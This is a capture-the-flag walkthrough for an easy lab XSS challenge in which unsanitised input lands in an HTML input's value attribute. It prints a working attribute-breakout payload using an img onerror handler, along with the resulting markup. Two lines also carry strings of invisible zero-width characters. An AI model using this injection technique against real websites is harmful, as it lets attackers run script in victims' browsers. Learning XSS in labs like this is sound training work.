Easy 0

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: attribute_breakout_xss, img_onerror_xss

Summary

Walkthrough of the CUSTOM Web Easy 0. SiBears XSS School challenge. User input is placed into the value attribute of an HTML <input> element. Goal: execute prompt("sibears").

Description

SiBears XSS School challenge. User input is placed into the value attribute of an HTML <input> element. Goal: execute prompt("sibears").

URL: http://109.233.56.90:11659/xss/easy/0

Analysis

The escape function simply concatenates user input into HTML without any sanitization:

 js read-only • copy allowed Copy
function escape(input) {
    return '<input type="text" value="' + input + '">;';
}

Vulnerability: no escaping of special HTML characters (", <, >). This allows:

1. Closing the value attribute with "
2. Closing the <input> tag with >
3. Injecting arbitrary HTML/JavaScript ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Payload to break out of the attribute and inject XSS:

"><img src=x onerror=prompt("sibears")>

Resulting HTML:

 html read-only • copy allowed Copy
<input type="text" value=""><img src=x onerror=prompt("sibears")>">;

Breakdown:

• "> — closes the value attribute and input tag
• <img src=x — creates an img element with non-existent src
• onerror=prompt("sibears") — error handler for image load failure
• Browser tries to load x, fails, onerror fires ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

• Mastering attribute_breakout_xss, img_onerror_xss was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-03-09 • CUSTOM • Easy 0 • Difficulty: Easy